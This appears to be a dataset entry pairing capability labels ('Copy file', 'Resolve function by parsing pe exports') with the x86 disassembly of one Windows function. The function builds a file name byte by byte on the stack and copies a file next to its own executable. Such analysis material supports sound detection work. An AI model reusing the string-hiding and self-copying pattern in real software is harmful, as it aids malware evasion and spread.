Function at 0x401750
Capabilities:
Copy file
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4bcba1
mov eax, dword fs:[0]
push eax
sub esp, 0x188
mov eax, dword [0x4e8b90]
xor eax, esp
mov dword [esp + 0x180], eax
push ebx
push esi
push edi
mov eax, dword [0x4e8b90]
xor eax, esp
push eax
lea eax, [esp + 0x198]
mov dword fs:[0], eax
push 0x104
lea eax, [esp + 0x88]
push eax
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x84]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
dec eax
cmp eax, ebx
jle 0x4017d7
mov cl, 0x5c
jmp 0x4017c0
cmp byte [esp + eax + 0x84], cl
je 0x4017d0
dec eax
cmp eax, ebx
jg 0x4017c0
jmp 0x4017d7
mov byte [esp + eax + 0x85], bl
mov al, 0x65
mov byte [esp + 0x79], al
mov byte [esp + 0x7d], al
mov al, 0x74
lea edx, [esp + 0x78]
mov byte [esp + 0x7f], al
mov byte [esp + 0x81], al
push edx
lea eax, [esp + 0x88]
push eax
mov byte [esp + 0x80], 0x72
mov byte [esp + 0x82], 0x61
mov byte [esp + 0x83], 0x64
mov byte [esp + 0x84], 0x6d
mov byte [esp + 0x86], 0x2e
mov byte [esp + 0x88], 0x78
mov byte [esp + 0x8a], bl
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea esi, [esp + 0x18]
call fcn.004016f0
push eax
lea ecx, [esp + 0x3c]
push ecx
mov ecx, 0x4d9aa4
mov dword [esp + 0x1a8], ebx
call fcn.00402320
push eax
lea edx, [esp + 0x64]
push edx
lea ecx, [esp + 0x88]
mov byte [esp + 0x1b0], 1
call fcn.00402320
add esp, 0x10
mov edi, 0x10
mov byte [esp + 0x1a0], 3
cmp dword [esp + 0x54], edi
jb 0x401895
mov eax, dword [esp + 0x40]
push eax
call fcn.00402b30
add esp, 4
mov esi, 0xf
push 3
lea ecx, [esp + 0x18]
mov dword [esp + 0x58], esi
mov dword [esp + 0x54], ebx
mov byte [esp + 0x44], bl
call fcn.004b2730
mov eax, dword [esp + 0x38]
cmp eax, 0xfffffffd
je 0x4018d5
cmp eax, ebx
je 0x4018d1
mov edi, edi
mov dword [eax], ebx
mov ecx, dword [esp + 0x38]
mov eax, dword [ecx + 4]
mov dword [esp + 0x38], eax
cmp eax, ebx
jne 0x4018c0
mov dword [esp + 0x38], ebx
lea ecx, [esp + 0x14]
call fcn.004b2770
mov byte [esp + 0x1a0], 4
cmp dword [esp + 0x34], edi
jb 0x4018f9
mov edx, dword [esp + 0x20]
push edx
call fcn.00402b30
add esp, 4
push 3
lea ecx, [esp + 0x18]
mov dword [esp + 0x38], esi
mov dword [esp + 0x34], ebx
mov byte [esp + 0x24], bl
call fcn.004b2730
mov eax, dword [esp + 0x18]
cmp eax, 0xfffffffd
je 0x401935
cmp eax, ebx
je 0x401931
lea ecx, [ecx]
mov dword [eax], ebx
mov eax, dword [esp + 0x18]
mov eax, dword [eax + 4]
mov dword [esp + 0x18], eax
cmp eax, ebx
jne 0x401920
mov dword [esp + 0x18], ebx
lea ecx, [esp + 0x14]
call fcn.004b2770
mov eax, dword [esp + 0x60]
cmp dword [esp + 0x74], edi
jae 0x40194c
lea eax, [esp + 0x60]
push ebx
push eax
lea ecx, [esp + 0x8c]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [esp + 0x84]
call fcn.004015e0
mov dword [esp + 0x1a0], 0xffffffff
cmp dword [esp + 0x74], edi
jb 0x401986
mov edx, dword [esp + 0x60]
push edx
call fcn.00402b30
add esp, 4
push 3
lea ecx, [esp + 0x18]
mov dword [esp + 0x78], esi
mov dword [esp + 0x74], ebx
mov byte [esp + 0x64], bl
call fcn.004b2730
mov eax, dword [esp + 0x58]
cmp eax, 0xfffffffd
je 0x4019c5
cmp eax, ebx
je 0x4019c1
lea ebx, [ebx]
mov dword [eax], ebx
mov eax, dword [esp + 0x58]
mov eax, dword [eax + 4]
mov dword [esp + 0x58], eax
cmp eax, ebx
jne 0x4019b0
mov dword [esp + 0x58], ebx
lea ecx, [esp + 0x14]
call fcn.004b2770
xor eax, eax
mov ecx, dword [esp + 0x198]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x180]
xor ecx, esp
call fcn.0048c5e0
mov esp, ebp
pop ebp
ret